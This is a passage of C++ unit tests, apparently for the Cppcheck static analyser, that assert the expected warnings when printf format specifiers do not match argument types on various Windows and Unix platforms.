ASSERT_EQUALS(\"[test.cpp:4]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"struct Base { int length() { } };\\n\"\n \"struct Derived : public Base { };\\n\"\n \"void foo(Derived * d) {\\n\"\n \" printf(\\\"%f\\\", d.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"std::vector v;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%d %u %f\\\", v[0], v[0], v[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 3) requires 'double' but the argument type is 'signed int'.\\n\", errout_str());\n\n // #4999 (crash)\n check(\"int bar(int a);\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%d\\\", bar(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector v;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", v.size(), v.size(), v.size(), v.size());\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", s.size(), s.size(), s.size(), s.size());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:4]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\", errout_str());\n\n check(\"std::vector v;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", v.size(), v.size(), v.size(), v.size());\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", s.size(), s.size(), s.size(), s.size());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"[test.cpp:4]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:4]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:5]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long long}'.\\n\"\n \"[test.cpp:5]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long long}'.\\n\", errout_str());\n\n check(\"std::vector v;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", v.size(), v.size(), v.size(), v.size());\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", s.size(), s.size(), s.size(), s.size());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix32));\n ASSERT_EQUALS(\"[test.cpp:4]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:4]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\", errout_str());\n\n check(\"std::vector v;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", v.size(), v.size(), v.size(), v.size());\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", s.size(), s.size(), s.size(), s.size());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:4]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:4]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\", errout_str());\n\n check(\"class Fred : public std::vector {} v;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", v.size(), v.size(), v.size(), v.size());\\n\"\n \" printf(\\\"%zu %Iu %d %f\\\", s.size(), s.size(), s.size(), s.size());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:4]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:4]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %d in format string (no. 3) requires 'int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:5]: (portability) %f in format string (no. 4) requires 'double' but the argument type is 'std::size_t {aka unsigned long}'.\\n\", errout_str());\n\n check(\"class Fred : public std::vector {} v;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%d %u %f\\\", v[0], v[0], v[0]);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'int'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 3) requires 'double' but the argument type is 'int'.\\n\", errout_str());\n\n check(\"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%s %p %u %d %f\\\", s.c_str(), s.c_str(), s.c_str(), s.c_str(), s.c_str());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 3) requires 'unsigned int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %d in format string (no. 4) requires 'int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 5) requires 'double' but the argument type is 'const char *'.\\n\", errout_str());\n\n check(\"std::vector array;\\n\"\n \"char * p = 0;\\n\"\n \"char q[] = \\\"abc\\\";\\n\"\n \"char r[10] = { 0 };\\n\"\n \"size_t s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %zu\\\", array.size(), s);\\n\"\n \" printf(\\\"%u %u %u\\\", p, q, r);\\n\"\n \" printf(\\\"%u %u\\\", array.size(), s);\\n\"\n \" printf(\\\"%lu %lu\\\", array.size(), s);\\n\"\n \" printf(\\\"%llu %llu\\\", array.size(), s);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:8]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'char *'.\\n\"\n \"[test.cpp:8]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'char *'.\\n\"\n \"[test.cpp:8]: (warning) %u in format string (no. 3) requires 'unsigned int' but the argument type is 'char *'.\\n\"\n \"[test.cpp:9]: (portability) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:9]: (portability) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:10]: (portability) %lu in format string (no. 1) requires 'unsigned long' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:10]: (portability) %lu in format string (no. 2) requires 'unsigned long' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:11]: (portability) %llu in format string (no. 1) requires 'unsigned long long' but the argument type is 'std::size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:11]: (portability) %llu in format string (no. 2) requires 'unsigned long long' but the argument type is 'size_t {aka unsigned long}'.\\n\", errout_str());\n\n check(\"bool b; bool bf();\\n\"\n \"char c; char cf();\\n\"\n \"signed char sc; signed char scf();\\n\"\n \"unsigned char uc; unsigned char ucf();\\n\"\n \"short s; short sf();\\n\"\n \"unsigned short us; unsigned short usf();\\n\"\n \"size_t st; size_t stf();\\n\"\n \"ptrdiff_t pt; ptrdiff_t ptf();\\n\"\n \"char * pc; char * pcf();\\n\"\n \"char cl[] = \\\"123\\\";\\n\"\n \"char ca[3];\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%td %zd %d %d %d %d %d %d %d %d %d %d %d\\\", pt, pt, b, c, sc, uc, s, us, st, pt, pc, cl, ca);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:13]: (portability) %zd in format string (no. 2) requires 'ssize_t' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\"\n \"[test.cpp:13]: (portability) %d in format string (no. 9) requires 'int' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:13]: (portability) %d in format string (no. 10) requires 'int' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\"\n \"[test.cpp:13]: (warning) %d in format string (no. 11) requires 'int' but the argument type is 'char *'.\\n\"\n \"[test.cpp:13]: (warning) %d in format string (no. 12) requires 'int' but the argument type is 'char *'.\\n\"\n \"[test.cpp:13]: (warning) %d in format string (no. 13) requires 'int' but the argument type is 'char *'.\\n\", errout_str());\n\n check(\"bool b; bool bf();\\n\"\n \"char c; char cf();\\n\"\n \"signed char sc; signed char scf();\\n\"\n \"unsigned char uc; unsigned char ucf();\\n\"\n \"short s; short sf();\\n\"\n \"unsigned short us; unsigned short usf();\\n\"\n \"size_t st; size_t stf();\\n\"\n \"ptrdiff_t pt; ptrdiff_t ptf();\\n\"\n \"char * pc; char * pcf();\\n\"\n \"char cl[] = \\\"123\\\";\\n\"\n \"char ca[3];\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%ld %ld %ld %ld %ld %ld %ld %ld %ld %ld %ld\\\", b, c, sc, uc, s, us, st, pt, pc, cl, ca);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:13]: (warning) %ld in format string (no. 1) requires 'long' but the argument type is 'bool'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 2) requires 'long' but the argument type is 'char'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'signed char'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 4) requires 'long' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 5) requires 'long' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 6) requires 'long' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:13]: (portability) %ld in format string (no. 7) requires 'long' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:13]: (portability) %ld in format string (no. 8) requires 'long' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 9) requires 'long' but the argument type is 'char *'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 10) requires 'long' but the argument type is 'char *'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 11) requires 'long' but the argument type is 'char *'.\\n\", errout_str());\n\n\n check(\"bool b; bool bf();\\n\"\n \"char c; char cf();\\n\"\n \"signed char sc; signed char scf();\\n\"\n \"unsigned char uc; unsigned char ucf();\\n\"\n \"short s; short sf();\\n\"\n \"unsigned short us; unsigned short usf();\\n\"\n \"size_t st; size_t stf();\\n\"\n \"ptrdiff_t pt; ptrdiff_t ptf();\\n\"\n \"char * pc; char * pcf();\\n\"\n \"char cl[] = \\\"123\\\";\\n\"\n \"char ca[3];\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%td %zd %d %d %d %d %d %d %d %d %d\\\", ptf(), ptf(), bf(), cf(), scf(), ucf(), sf(), usf(), stf(), ptf(), pcf());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:13]: (portability) %zd in format string (no. 2) requires 'ssize_t' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\"\n \"[test.cpp:13]: (portability) %d in format string (no. 9) requires 'int' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:13]: (portability) %d in format string (no. 10) requires 'int' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\"\n \"[test.cpp:13]: (warning) %d in format string (no. 11) requires 'int' but the argument type is 'char *'.\\n\", errout_str());\n\n check(\"bool b; bool bf();\\n\"\n \"char c; char cf();\\n\"\n \"signed char sc; signed char scf();\\n\"\n \"unsigned char uc; unsigned char ucf();\\n\"\n \"short s; short sf();\\n\"\n \"unsigned short us; unsigned short usf();\\n\"\n \"size_t st; size_t stf();\\n\"\n \"ptrdiff_t pt; ptrdiff_t ptf();\\n\"\n \"char * pc; char * pcf();\\n\"\n \"char cl[] = \\\"123\\\";\\n\"\n \"char ca[3];\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%ld %ld %ld %ld %ld %ld %ld %ld %ld\\\", bf(), cf(), scf(), ucf(), sf(), usf(), stf(), ptf(), pcf());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:13]: (warning) %ld in format string (no. 1) requires 'long' but the argument type is 'bool'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 2) requires 'long' but the argument type is 'char'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 3) requires 'long' but the argument type is 'signed char'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 4) requires 'long' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 5) requires 'long' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 6) requires 'long' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:13]: (portability) %ld in format string (no. 7) requires 'long' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:13]: (portability) %ld in format string (no. 8) requires 'long' but the argument type is 'ptrdiff_t {aka signed long}'.\\n\"\n \"[test.cpp:13]: (warning) %ld in format string (no. 9) requires 'long' but the argument type is 'char *'.\\n\", errout_str());\n\n check(\"struct A {};\\n\"\n \"class B : public std::vector {} b;\\n\"\n \"class C : public std::vector {} c;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%zu %u\\\", b.size(), b.size());\\n\"\n \" printf(\\\"%p %d\\\", b[0], b[0]);\\n\"\n \" printf(\\\"%p %d\\\", c[0], c[0]);\\n\"\n \" printf(\\\"%p %d\\\", s.c_str(), s.c_str());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:6]: (portability) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'size_t {aka unsigned long}'.\\n\"\n \"[test.cpp:7]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'const int *'.\\n\"\n \"[test.cpp:8]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'const struct A *'.\\n\"\n \"[test.cpp:9]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'const char *'.\\n\", errout_str());\n\n check(\"class A : public std::vector {} a;\\n\"\n \"class B : public std::string {} b;\\n\"\n \"std::string s;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%p %d\\\", a[0].c_str(), a[0].c_str());\\n\"\n \" printf(\\\"%c %p\\\", b[0], b[0]);\\n\"\n \" printf(\\\"%c %p\\\", s[0], s[0]);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:5]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:6]: (warning) %p in format string (no. 2) requires an address but the argument type is 'char'.\\n\"\n \"[test.cpp:7]: (warning) %p in format string (no. 2) requires an address but the argument type is 'char'.\\n\", errout_str());\n\n check(\"template \\n\"\n \"struct buffer {\\n\"\n \" size_t size();\\n\"\n \"};\\n\"\n \"buffer b;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%u\\\", b.size());\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Unix64));\n ASSERT_EQUALS(\"[test.cpp:7]: (portability) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'size_t {aka unsigned long}'.\\n\", errout_str());\n\n check(\"DWORD a;\\n\"\n \"DWORD_PTR b;\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%u %u\\\", a, b);\\n\"\n \"}\\n\", dinit(CheckOptions, $.portability = true, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:4]: (portability) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'DWORD {aka unsigned long}'.\\n\"\n \"[test.cpp:4]: (portability) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'DWORD_PTR {aka unsigned long}'.\\n\", errout_str());\n\n check(\"unsigned long a[] = { 1, 2 };\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%d %d %x \\\", a[0], a[0], a[0]);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win32A));\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:3]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'unsigned long'.\\n\"\n \"[test.cpp:3]: (warning) %x in format string (no. 3) requires 'unsigned int' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"void foo (wchar_t c) {\\n\" // ticket #5051 false positive\n \" printf(\\\"%c\\\", c);\\n\"\n \"}\\n\", dinit(CheckOptions, $.platform = Platform::Type::Win64));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" printf(\\\"%f %d\\\", static_cast(1.0f), reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %f in format string (no. 1) requires 'double' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %d in format string (no. 2) requires 'int' but the argument type is 'const void *'.\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" UNKNOWN * u;\\n\"\n \" printf(\\\"%d %x %u %f\\\", u[i], u[i], u[i], u[i]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" long * l;\\n\"\n \" printf(\\\"%d %x %u %f\\\", l[i], l[i], l[i], l[i]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %d in format string (no. 1) requires 'int' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:3]: (warning) %x in format string (no. 2) requires 'unsigned int' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:3]: (warning) %u in format string (no. 3) requires 'unsigned int' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 4) requires 'double' but the argument type is 'signed long'.\\n\", errout_str());\n\n check(\"void f() {\\n\" // #5104\n \" myvector v1(1,0);\\n\"\n \" printf(\\\"%d\\\",v1[0]);\\n\"\n \" myvector v2(1,0);\\n\"\n \" printf(\\\"%d\\\",v2[0]);\\n\"\n \" myvector v3(1,0);\\n\"\n \" printf(\\\"%u\\\",v3[0]);\\n\"\n \" myvector v4(1,0);\\n\"\n \" printf(\\\"%x\\\",v4[0]);\\n\"\n \" myvector v5(1,0);\\n\"\n \" printf(\\\"%f\\\",v5[0]);\\n\"\n \" myvector v6(1,0);\\n\"\n \" printf(\\\"%u\\\",v6[0]);\\n\"\n \" myvector v7(1,0);\\n\"\n \" printf(\\\"%s\\\",v7[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector v;\\n\" // #5151\n \"void foo() {\\n\"\n \" printf(\\\"%c %u %f\\\", v.at(32), v.at(32), v.at(32));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'char'.\\n\"\n \"[test.cpp:3]: (warning) %f in format string (no. 3) requires 'double' but the argument type is 'char'.\\n\", errout_str());\n\n // #5195 (segmentation fault)\n check(\"void T::a(const std::vector& vx) {\\n\"\n \" printf(\\\"%f\\\", vx.at(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5486\n check(\"void foo() {\\n\"\n \" ssize_t test = 0;\\n\"\n \" printf(\\\"%zd\\\", test);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6009\n check(\"extern std::string StringByReturnValue();\\n\"\n \"extern int IntByReturnValue();\\n\"\n \"void MyFunction() {\\n\"\n \" printf( \\\"%s - %s\\\", StringByReturnValue(), IntByReturnValue() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4]: (warning) %s in format string (no. 1) requires 'char *' but the argument type is 'std::string'.\\n\"\n \"[test.cpp:4]: (warning) %s in format string (no. 2) requires 'char *' but the argument type is 'signed int'.\\n\", errout_str());\n\n check(\"template \\n\"\n \"struct Array {\\n\"\n \" T data[S];\\n\"\n \" T & operator [] (size_t i) { return data[i]; }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Array array1;\\n\"\n \" Array array2;\\n\"\n \" printf(\\\"%u %u\\\", array1[0], array2[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9]: (warning) %u in format string (no. 1) requires 'unsigned int' but the argument type is 'int'.\\n\"\n \"[test.cpp:9]: (warning) %u in format string (no. 2) requires 'unsigned int' but the argument type is 'float'.\\n\", errout_str());\n\n // Ticket #7445\n check(\"struct S { unsigned short x; } s = {0};\\n\"\n \"void foo() {\\n\"\n \" printf(\\\"%d\\\", s.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #7601\n check(\"void foo(int i, unsigned int ui, long long ll, unsigned long long ull) {\\n\"\n \" printf(\\\"%Ld %Lu %Ld %Lu\\\", i, ui, ll, ull);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %Ld in format string (no. 1) requires 'long long' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %Lu in format string (no. 2) requires 'unsigned long long' but the argument type is 'unsigned int'.\\n\", errout_str());\n\n check(\"void foo(char c, unsigned char uc, short s, unsigned short us, int i, unsigned int ui, long l, unsigned long ul) {\\n\"\n \" printf(\\\"%hhd %hhd %hhd %hhd %hhd %hhd %hhd %hhd\\\", c, uc, s, us, i, ui, l, ul);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hhd in format string (no. 2) requires 'char' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 3) requires 'char' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 4) requires 'char' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 5) requires 'char' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 6) requires 'char' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 7) requires 'char' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %hhd in format string (no. 8) requires 'char' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"void foo(char c, unsigned char uc, short s, unsigned short us, int i, unsigned int ui, long l, unsigned long ul) {\\n\"\n \" printf(\\\"%hhu %hhu %hhu %hhu %hhu %hhu %hhu %hhu\\\", c, uc, s, us, i, ui, l, ul);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hhu in format string (no. 1) requires 'unsigned char' but the argument type is 'char'.\\n\"\n \"[test.cpp:2]: (warning) %hhu in format string (no. 3) requires 'unsigned char' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %hhu in format string (no. 4) requires 'unsigned char' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %hhu in format string (no. 5) requires 'unsigned char' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %hhu in format string (no. 6) requires 'unsigned char' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %hhu in format string (no. 7) requires 'unsigned char' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %hhu in format string (no. 8) requires 'unsigned char' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"void foo(char c, unsigned char uc, short s, unsigned short us, int i, unsigned int ui, long l, unsigned long ul) {\\n\"\n \" printf(\\\"%hhx %hhx %hhx %hhx %hhx %hhx %hhx %hhx\\\", c, uc, s, us, i, ui, l, ul);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hhx in format string (no. 1) requires 'unsigned char' but the argument type is 'char'.\\n\"\n \"[test.cpp:2]: (warning) %hhx in format string (no. 3) requires 'unsigned char' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %hhx in format string (no. 4) requires 'unsigned char' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %hhx in format string (no. 5) requires 'unsigned char' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %hhx in format string (no. 6) requires 'unsigned char' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %hhx in format string (no. 7) requires 'unsigned char' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %hhx in format string (no. 8) requires 'unsigned char' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"void foo(char c, unsigned char uc, short s, unsigned short us, int i, unsigned int ui, long l, unsigned long ul) {\\n\"\n \" printf(\\\"%hd %hd %hd %hd %hd %hd %hd %hd\\\", c, uc, s, us, i, ui, l, ul);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hd in format string (no. 1) requires 'short' but the argument type is 'char'.\\n\"\n \"[test.cpp:2]: (warning) %hd in format string (no. 2) requires 'short' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:2]: (warning) %hd in format string (no. 4) requires 'short' but the argument type is 'unsigned short'.\\n\"\n \"[test.cpp:2]: (warning) %hd in format string (no. 5) requires 'short' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %hd in format string (no. 6) requires 'short' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %hd in format string (no. 7) requires 'short' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %hd in format string (no. 8) requires 'short' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"void foo(char c, unsigned char uc, short s, unsigned short us, int i, unsigned int ui, long l, unsigned long ul) {\\n\"\n \" printf(\\\"%hu %hu %hu %hu %hu %hu %hu %hu\\\", c, uc, s, us, i, ui, l, ul);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hu in format string (no. 1) requires 'unsigned short' but the argument type is 'char'.\\n\"\n \"[test.cpp:2]: (warning) %hu in format string (no. 2) requires 'unsigned short' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:2]: (warning) %hu in format string (no. 3) requires 'unsigned short' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %hu in format string (no. 5) requires 'unsigned short' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %hu in format string (no. 6) requires 'unsigned short' but the argument type is 'unsigned int'.\\n\"\n \"[test.cpp:2]: (warning) %hu in format string (no. 7) requires 'unsigned short' but the argument type is 'signed long'.\\n\"\n \"[test.cpp:2]: (warning) %hu in format string (no. 8) requires 'unsigned short' but the argument type is 'unsigned long'.\\n\", errout_str());\n\n check(\"void foo(char c, unsigned char uc, short s, unsigned short us, int i, unsigned int ui, long l, unsigned long ul) {\\n\"\n \" printf(\\\"%hx %hx %hx %hx %hx %hx %hx %hx\\\", c, uc, s, us, i, ui, l, ul);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %hx in format string (no. 1) requires 'unsigned short' but the argument type is 'char'.\\n\"\n \"[test.cpp:2]: (warning) %hx in format string (no. 2) requires 'unsigned short' but the argument type is 'unsigned char'.\\n\"\n \"[test.cpp:2]: (warning) %hx in format string (no. 3) requires 'unsigned short' but the argument type is 'signed short'.\\n\"\n \"[test.cpp:2]: (warning) %hx in format string (no. 5) requires 'unsigned short' but the argument type is 'signed int'.\\n\"\n \"[test.cpp:2]: (warning) %hx in format string (no. 